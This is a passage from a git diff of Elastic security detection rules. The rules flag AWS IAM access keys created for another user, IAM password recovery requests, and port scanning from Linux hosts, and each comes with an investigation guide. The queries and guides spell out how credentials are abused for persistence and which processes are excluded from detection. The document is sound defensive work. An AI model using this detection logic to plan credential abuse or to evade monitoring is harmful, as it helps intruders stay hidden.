the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user.", - "false_positives": [ - "While this can be normal behavior, it should be investigated to ensure validity. Verify whether the user identity should be using the IAM `CreateAccessKey` for the targeted user." - ], - "from": "now-6m", - "investigation_fields": { - "field_names": [ - "@timestamp", - "user.name", - "source.address", - "aws.cloudtrail.user_identity.arn", - "aws.cloudtrail.user_identity.type", - "user_agent.original", - "user.target.name", - "event.action", - "event.outcome", - "cloud.region", - "event.provider", - "aws.cloudtrail.request_parameters", - "aws.cloudtrail.response_elements" - ] - }, - "language": "esql", - "license": "Elastic License v2", - "name": "AWS IAM User Created Access Keys For Another User", - "note": "## Triage and analysis\n\n### Investigating AWS IAM User Created Access Keys For Another User\n\nAWS access keys created for IAM users or root user are long-term credentials that provide programmatic access to AWS.\nWith access to the `iam:CreateAccessKey` permission, a set of compromised credentials could be used to create a new\nset of credentials for another user for privilege escalation or as a means of persistence. This rule uses [ES|QL](https://www.elastic.co/guide/en/security/master/rules-ui-create.html#create-esql-rule)\nto look for use of the `CreateAccessKey` operation where the user.name is different from the user.target.name.\n\n\n#### Possible investigation steps\n\n- Identify both related accounts and their role in the environment.\n- Review IAM permission policies for the user identities.\n- Identify the applications or users that should use these accounts.\n- Investigate other alerts associated with the accounts during the past 48 hours.\n- Investigate abnormal values in the `user_agent.original` field by comparing them with the intended and authorized usage and historical data. Suspicious user agent values include non-SDK, AWS CLI, custom user agents, etc.\n- Contact the account owners and confirm whether they are aware of this activity.\n- Considering the source IP address and geolocation of the user who issued the command:\n - Do they look normal for the calling user?\n - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control?\n - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.\n - Determine what other API calls were made by the user.\n - Assess whether this behavior is prevalent in the environment by looking for similar occurrences involving other users.\n\n### False positive analysis\n\n- False positives may occur due to the intended usage of the IAM `CreateAccessKey` operation. Verify the `aws.cloudtrail.user_identity.arn` should use this operation against the `user.target.name` account.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n - Rotate user credentials\n - Remove the newly created credentials from the affected user(s)\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Assess the criticality of affected services and servers.\n - Work with your IT team to identify and minimize the impact on users.\n - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified.\n - Rotate secrets or delete API keys as needed to revoke the attacker's access to the environment.\n - Work with your IT teams to minimize the impact on business operations during these actions.\n- Remove unauthorized new accounts, and request password resets for other IAM users.\n- Consider enabling multi-factor authentication for users.\n- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed.\n- Implement security best practices [outlined](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/) by AWS.\n- Take the actions needed to return affected systems, data, or services to their normal operational levels.\n- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws.cloudtrail-* metadata _id, _version, _index\n| where event.provider == \"iam.amazonaws.com\"\n and event.action == \"CreateAccessKey\"\n and event.outcome == \"success\"\n and user.name != user.target.name\n| keep\n @timestamp,\n cloud.region,\n event.provider,\n event.action,\n event.outcome,\n user.name,\n source.address,\n user.target.name,\n user_agent.original,\n aws.cloudtrail.request_parameters,\n aws.cloudtrail.response_elements,\n aws.cloudtrail.user_identity.arn,\n aws.cloudtrail.user_identity.type\n", - "references": [ - "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey", - "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence", - "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud", - "https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html" - ], - "risk_score": 47, - "rule_id": "696015ef-718e-40ff-ac4a-cc2ba88dbeeb", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS IAM", - "Use Case: Identity and Access Audit", - "Tactic: Privilege Escalation", - "Tactic: Persistence", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1098", - "name": "Account Manipulation", - "reference": "https://attack.mitre.org/techniques/T1098/", - "subtechnique": [ - { - "id": "T1098.001", - "name": "Additional Cloud Credentials", - "reference": "https://attack.mitre.org/techniques/T1098/001/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0004", - "name": "Privilege Escalation", - "reference": "https://attack.mitre.org/tactics/TA0004/" - }, - "technique": [ - { - "id": "T1098", - "name": "Account Manipulation", - "reference": "https://attack.mitre.org/techniques/T1098/", - "subtechnique": [ - { - "id": "T1098.001", - "name": "Additional Cloud Credentials", - "reference": "https://attack.mitre.org/techniques/T1098/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 5 - }, - "id": "696015ef-718e-40ff-ac4a-cc2ba88dbeeb_5", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/696015ef-718e-40ff-ac4a-cc2ba88dbeeb_9.json b/packages/security_detection_engine/kibana/security_rule/696015ef-718e-40ff-ac4a-cc2ba88dbeeb_9.json new file mode 100644 index 00000000000..95490104490 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/696015ef-718e-40ff-ac4a-cc2ba88dbeeb_9.json @@ -0,0 +1,258 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user.", + "false_positives": [ + "While this can be normal behavior, it should be investigated to ensure validity. Verify whether the user identity should be using the IAM `CreateAccessKey` for the targeted user." + ], + "from": "now-6m", + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "user.target.name", + "event.action", + "event.outcome", + "cloud.region", + "cloud.account.id", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "esql", + "license": "Elastic License v2", + "name": "AWS IAM User Created Access Keys For Another User", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n\n### Investigating AWS IAM User Created Access Keys For Another User\n\nAWS IAM access keys are long-term credentials that grant programmatic access to AWS resources. The `iam:CreateAccessKey` permission allows an IAM principal to generate new access keys for an existing IAM user. \nWhile this operation can be legitimate (for example, credential rotation), it can also be abused to establish persistence or privilege escalation if one user creates keys for another account without authorization.\n\nThis rule identifies `CreateAccessKey` API calls where the calling user (`aws.cloudtrail.user_identity.arn`) differs from the target user (`aws.cloudtrail.request_parameters.userName`), indicating one IAM identity creating credentials for another.\n\n#### Possible investigation steps\n\n- **Confirm both user identities and intent.** \n Identify the calling user (who performed `CreateAccessKey`) and the target user (whose access key was created). Contact both account owners or application teams to confirm if this operation was expected.\n\n- **Review CloudTrail event details.** \n Check the following fields directly in the alert or corresponding CloudTrail record: \n - `source.ip` \u2014 does it align with expected corporate ranges or known admin automation? \n - `user_agent.original` \u2014 AWS Console, CLI, SDK, or custom client? Unexpected user agents (for example, non-SDK scripts) may indicate manual or unauthorized use. \n - `source.geo` fields \u2014 verify the location details are expected for the identity.\n\n- **Correlate with related IAM activity.** \n In CloudTrail, search for subsequent or nearby events such as: \n - `AttachUserPolicy`, `AttachGroupPolicy`, `UpdateAssumeRolePolicy`, or `CreateUser`. \n These can indicate privilege escalation or lateral movement. \n Also review whether the same principal recently performed `CreateAccessKey` for multiple users or repeated this action across accounts.\n\n- **Inspect the new access key\u2019s usage.** \n Search for the newly created key ID (`aws.cloudtrail.response_elements.accessKey.accessKeyId`) in CloudTrail events following creation. Determine if it was used from unusual IP addresses, geographies, or services. \n\n- **Assess the risk of credential compromise.** \n If you suspect malicious behavior, consider the following indicators: \n - A non-admin user invoking `CreateAccessKey` for another user. \n - Creation outside of normal automation pipelines. \n - Use of the new key from a different IP or AWS account soon after creation.\n\n- **Scope related activity.** \n Review all activity from the calling user in the past 24\u201348 hours, focusing on `iam:*` API calls and resource creation events. \n Correlate any S3, EC2, or KMS access attempts made using the new key to identify potential impact or data exposure.\n\n### False positive analysis\n\n- **Expected credential rotation.** \n Some environments delegate credential rotation responsibilities to centralized automation or specific admin roles. Confirm if the calling user is authorized for such actions. \n- **Administrative workflows.** \n Account provisioning systems may legitimately create keys on behalf of users. Check for standard tags, automation tools, or user agents that indicate managed operations. \n- **Service-linked roles or external IAM automation.** \n Some AWS services create or rotate credentials automatically. Validate if the caller is a service-linked role or an automation IAM role used by a known deployment process.\n\n### Response and remediation\n\n> AWS IR playbooks classify unauthorized credential creation as a **Priority-1 incident** because it may allow persistence or privilege escalation. \n> The following steps scale for organizations with or without a dedicated IR team.\n\n**1. Immediate containment**\n- Deactivate or delete the access key from the target IAM user immediately using the AWS Console, CLI, or API (`DeleteAccessKey`). \n- Rotate or reset credentials for both the calling and target users to eliminate possible compromise. \n- Restrict risky principals. Temporarily deny `iam:CreateAccessKey` and `iam:UpdateAccessKey` permissions for non-administrative roles while scoping the incident. \n- Enable or confirm MFA on both accounts involved, if not already enforced.\n\n**2. Evidence preservation**\n- Export all related `CreateAccessKey`, `DeleteAccessKey`, and `UpdateAccessKey` events within \u00b130 minutes of the alert to an evidence bucket. \n- Preserve CloudTrail, GuardDuty, and AWS Config data for the same period. \n- Record key event details: caller ARN, target user, `accessKeyId`, `source.ip`, `userAgent`, and timestamps.\n\n**3. Scoping and investigation**\n- Search CloudTrail for usage of the new access key ID after creation. Identify any API activity or data access tied to it. \n- Review IAM policy changes, group modifications, or new role assumptions around the same time. \n- Determine if any additional credentials or trust policy changes were made by the same actor. \n- Check for GuardDuty findings referencing anomalous credential usage or suspicious API behavior.\n\n**4. Recovery and hardening**\n- Remove or disable any unauthorized keys and re-enable only verified credentials. \n- Implement least-privilege IAM policies to limit which users can perform `CreateAccessKey`. \n- Monitor for future `CreateAccessKey` events where `userIdentity.arn != request_parameters.userName`. \n- Ensure Cloudtrail, GuardDuty and Security Hub are active across all regions. \n- Educate administrative users on secure key rotation processes and the risk of cross-user key creation. \n\n### Additional information\n\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/):** Reference \u201cCredential Compromise\u201d and \u201cIAM Misuse\u201d procedures for containment and recovery. \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/):** See \u201cIdentity Access Review\u201d and \u201cUnauthorized Access Key Creation\u201d for example response flows. \n- **AWS Documentation:** [Best practices for managing access keys](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html). \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/). \n", + "query": "from logs-aws.cloudtrail-* metadata _id, _version, _index\n| where event.dataset == \"aws.cloudtrail\"\n and event.provider == \"iam.amazonaws.com\"\n and event.action == \"CreateAccessKey\"\n and event.outcome == \"success\"\n and user.name != user.target.name\n| keep\n @timestamp,\n cloud.account.id,\n cloud.region,\n event.provider,\n event.action,\n event.outcome,\n event.dataset,\n user.name,\n source.address,\n source.ip,\n user.target.name,\n user_agent.original,\n aws.cloudtrail.request_parameters,\n aws.cloudtrail.response_elements,\n aws.cloudtrail.user_identity.arn,\n aws.cloudtrail.user_identity.type,\n aws.cloudtrail.user_identity.access_key_id,\n source.geo.*\n", + "references": [ + "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey", + "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence", + "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud", + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html" + ], + "related_integrations": [ + { + "package": "aws", + "version": "^4.0.0" + }, + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "@timestamp", + "type": "date" + }, + { + "ecs": false, + "name": "aws.cloudtrail.request_parameters", + "type": "keyword" + }, + { + "ecs": false, + "name": "aws.cloudtrail.response_elements", + "type": "keyword" + }, + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.access_key_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.arn", + "type": "keyword" + }, + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "cloud.account.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "cloud.region", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.address", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.city_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.continent_code", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.continent_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.country_iso_code", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.country_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.location", + "type": "geo_point" + }, + { + "ecs": true, + "name": "source.geo.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.postal_code", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.region_iso_code", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.region_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.geo.timezone", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "user.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.target.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "user_agent.original", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "696015ef-718e-40ff-ac4a-cc2ba88dbeeb", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS IAM", + "Use Case: Identity and Access Audit", + "Tactic: Privilege Escalation", + "Tactic: Persistence", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/", + "subtechnique": [ + { + "id": "T1098.001", + "name": "Additional Cloud Credentials", + "reference": "https://attack.mitre.org/techniques/T1098/001/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/", + "subtechnique": [ + { + "id": "T1098.001", + "name": "Additional Cloud Credentials", + "reference": "https://attack.mitre.org/techniques/T1098/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 9 + }, + "id": "696015ef-718e-40ff-ac4a-cc2ba88dbeeb_9", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/69c420e8-6c9e-4d28-86c0-8a2be2d1e78c_207.json b/packages/security_detection_engine/kibana/security_rule/69c420e8-6c9e-4d28-86c0-8a2be2d1e78c_207.json deleted file mode 100644 index 4c86d334a53..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/69c420e8-6c9e-4d28-86c0-8a2be2d1e78c_207.json +++ /dev/null @@ -1,89 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies AWS IAM password recovery requests. An adversary may attempt to gain unauthorized AWS access by abusing password recovery mechanisms.", - "false_positives": [ - "Verify whether the user identity, user agent, and/or hostname should be requesting changes in your environment. Password reset attempts from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "from": "now-60m", - "index": [ - "filebeat-*", - "logs-aws.cloudtrail-*" - ], - "interval": "10m", - "language": "kuery", - "license": "Elastic License v2", - "name": "AWS IAM Password Recovery Requested", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS IAM Password Recovery Requested\n\nAWS Identity and Access Management (IAM) facilitates secure access control to AWS resources. Password recovery requests are legitimate processes for users to regain access. However, adversaries may exploit this by initiating unauthorized recovery attempts to gain access. The detection rule monitors successful password recovery requests within AWS CloudTrail logs, focusing on initial access tactics, to identify potential misuse and unauthorized access attempts.\n\n### Possible investigation steps\n\n- Review the AWS CloudTrail logs for the specific event.action:PasswordRecoveryRequested to identify the user account involved in the password recovery request.\n- Check the event.provider:signin.amazonaws.com logs to determine the source IP address and geolocation associated with the password recovery request to assess if it aligns with known user activity.\n- Investigate the event.outcome:success logs to confirm if the password recovery was completed and if there were any subsequent successful logins from the same or different IP addresses.\n- Analyze the user account's recent activity and permissions to identify any unusual or unauthorized actions that may indicate compromise.\n- Cross-reference the event with any other security alerts or incidents involving the same user account to identify potential patterns or coordinated attacks.\n- Contact the user associated with the password recovery request to verify if they initiated the request and to ensure their account security.\n\n### False positive analysis\n\n- Routine password recovery by legitimate users can trigger this rule. To manage this, identify users who frequently request password recovery and consider adding them to an exception list if their behavior is verified as non-threatening.\n- Automated password recovery processes used by internal IT support or helpdesk teams may also cause false positives. Coordinate with these teams to understand their workflows and exclude their activities from triggering alerts.\n- Users with known issues accessing their accounts due to technical problems might repeatedly request password recovery. Monitor these cases and exclude them once confirmed as non-malicious.\n- Scheduled security drills or training exercises that involve password recovery can generate alerts. Ensure these activities are documented and excluded from the rule to prevent unnecessary alerts.\n\n### Response and remediation\n\n- Immediately verify the legitimacy of the password recovery request by contacting the user associated with the request. Ensure they initiated the recovery process and are aware of the request.\n- Temporarily disable the affected IAM user account to prevent any unauthorized access until the situation is fully assessed and resolved.\n- Review AWS CloudTrail logs for any additional suspicious activities associated with the IAM user account, such as unusual login attempts or changes to permissions, to identify potential compromise.\n- If unauthorized access is confirmed, reset the IAM user's password and any associated access keys. Ensure the new credentials are communicated securely to the legitimate user.\n- Implement multi-factor authentication (MFA) for the affected IAM user account to enhance security and prevent future unauthorized access attempts.\n- Escalate the incident to the security operations team for further investigation and to determine if additional accounts or resources have been compromised.\n- Update and enhance monitoring rules to detect similar unauthorized password recovery attempts in the future, ensuring timely alerts and responses.", - "query": "event.dataset:aws.cloudtrail and event.provider:signin.amazonaws.com and event.action:PasswordRecoveryRequested and event.outcome:success\n", - "references": [ - "https://www.cadosecurity.com/an-ongoing-aws-phishing-campaign/" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": "aws", - "version": "^2.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - } - ], - "risk_score": 21, - "rule_id": "69c420e8-6c9e-4d28-86c0-8a2be2d1e78c", - "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "low", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS Signin", - "Use Case: Identity and Access Audit", - "Tactic: Initial Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0001", - "name": "Initial Access", - "reference": "https://attack.mitre.org/tactics/TA0001/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "query", - "version": 207 - }, - "id": "69c420e8-6c9e-4d28-86c0-8a2be2d1e78c_207", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/6b341d03-1d63-41ac-841a-2009c86959ca_8.json b/packages/security_detection_engine/kibana/security_rule/6b341d03-1d63-41ac-841a-2009c86959ca_8.json new file mode 100644 index 00000000000..3923f4b0534 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/6b341d03-1d63-41ac-841a-2009c86959ca_8.json @@ -0,0 +1,97 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects potential port scanning activity from a compromised host. Port scanning is a common reconnaissance technique used by attackers to identify open ports and services on a target system. A compromised host may exhibit port scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable services, or prepare for further exploitation. This rule identifies potential port scanning activity by monitoring network connection attempts from a single host to a large number of ports within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", + "from": "now-61m", + "interval": "1h", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential Port Scanning Activity from Compromised Host", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Port Scanning Activity from Compromised Host\n\nPort scanning is a reconnaissance method used by attackers to identify open ports and services on a network, often as a precursor to exploitation. In Linux environments, compromised hosts may perform rapid connection attempts to numerous ports, signaling potential scanning activity. The detection rule identifies such behavior by analyzing network logs for a high number of distinct port connections from a single host within a short timeframe, indicating possible malicious intent.\n\n### Possible investigation steps\n\n- Review the network logs to identify the specific host exhibiting the port scanning behavior by examining the destination.ip and process.executable fields.\n- Analyze the @timestamp field to determine the exact time frame of the scanning activity and correlate it with any other suspicious activities or alerts from the same host.\n- Investigate the process.executable field to understand which application or service initiated the connection attempts, and verify if it is a legitimate process or potentially malicious.\n- Check the destination.port field to identify the range and types of ports targeted by the scanning activity, which may provide insights into the attacker's objectives or the services they are interested in.\n- Assess the host's security posture by reviewing recent changes, installed software, and user activity to determine if the host has been compromised or if the scanning is part of legitimate network operations.\n- Consult the original documents and logs for additional context and details that may not be captured in the alert to aid in a comprehensive investigation.\n\n### False positive analysis\n\n- Legitimate network scanning tools used by system administrators for network maintenance or security assessments can trigger this rule. To handle this, identify and whitelist the IP addresses or processes associated with these tools.\n- Automated vulnerability scanners or monitoring systems that perform regular checks on network services may cause false positives. Exclude these systems by creating exceptions for their known IP addresses or process names.\n- High-volume legitimate services that open multiple connections to different ports, such as load balancers or proxy servers, might be flagged. Review and exclude these services by specifying their IP addresses or process executables.\n- Development or testing environments where frequent port scanning is part of routine operations can be mistakenly identified. Implement exceptions for these environments by excluding their specific network segments or host identifiers.\n- Scheduled network discovery tasks that are part of IT operations can mimic port scanning behavior. Document and exclude these tasks by setting up time-based exceptions or identifying their unique process signatures.\n\n### Response and remediation\n\n- Isolate the compromised host from the network immediately to prevent further scanning and potential lateral movement.\n- Terminate any suspicious processes identified by the process.executable field to halt ongoing malicious activities.\n- Conduct a thorough review of the compromised host's system logs and network traffic to identify any unauthorized access or data exfiltration attempts.\n- Patch and update all software and services on the compromised host to close any vulnerabilities that may have been exploited.\n- Change all credentials associated with the compromised host and any potentially affected systems to prevent unauthorized access.\n- Monitor the network for any further signs of scanning activity or other suspicious behavior from other hosts, indicating potential additional compromises.\n- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected.\n", + "query": "from logs-endpoint.events.network-*\n| where\n @timestamp > now() - 1h and\n host.os.type == \"linux\" and\n event.type == \"start\" and\n event.action == \"connection_attempted\" and\n network.direction == \"egress\" and\n destination.port < 32768 and\n not (\n cidr_match(destination.ip, \"127.0.0.0/8\", \"::1\", \"FE80::/10\", \"FF00::/8\") or\n process.executable in (\n \"/opt/dbtk/bin/jsvc\", \"/usr/lib/dotnet/dotnet\", \"/usr/share/elasticsearch/jdk/bin/java\", \"/usr/sbin/haproxy\",\n \"/usr/bin/java\", \"/opt/kaspersky/kesl/libexec/kesl\", \"/usr/bin/dotnet\", \"/opt/java/openjdk/bin/java\"\n ) or\n process.executable like \"/var/opt/kaspersky/kesl/*kesl\" or\n process.executable like \"/usr/lib/jvm/*/java\" or\n process.executable like \"/opt/google/chrome*\" or\n process.executable like \"/var/lib/docker/*/java\" or\n process.executable like \"/usr/lib64/jvm/*/java\" or\n process.executable like \"/snap/*\" or\n process.executable like \"/home/*/.local/share/JetBrains/*\"\n )\n| keep\n @timestamp,\n host.os.type,\n event.type,\n event.action,\n destination.port,\n process.executable,\n destination.ip,\n source.ip,\n agent.id,\n host.name\n| stats\n Esql.event_count = count(),\n Esql.destination_port_count_distinct = count_distinct(destination.port),\n Esql.agent_id_count_distinct = count_distinct(agent.id),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id),\n Esql.source_ip_values = values(source.ip)\n by process.executable, destination.ip\n| where\n Esql.agent_id_count_distinct == 1 and\n Esql.destination_port_count_distinct > 100\n| sort Esql.event_count asc\n| limit 100\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.destination_port_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_values", + "type": "ip" + }, + { + "ecs": true, + "name": "destination.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "6b341d03-1d63-41ac-841a-2009c86959ca", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Discovery", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1046", + "name": "Network Service Discovery", + "reference": "https://attack.mitre.org/techniques/T1046/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 8 + }, + "id": "6b341d03-1d63-41ac-841a-2009c86959ca_8", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/6ddb6c33-00ce-4acd-832a-24b251512023_5.json b/packages/security_detection_engine/kibana/security_rule/6ddb6c33-00ce-4acd-832a-24b251512023_5.json new file mode 100644 index 00000000000..e0b59fbbb07 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/6ddb6c33-00ce-4acd-832a-24b251512023_5.json @@ -0,0 +1,153 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies PowerShell scripts with an unusually high proportion of whitespace and special characters, often indicative of obfuscation. This behavior is 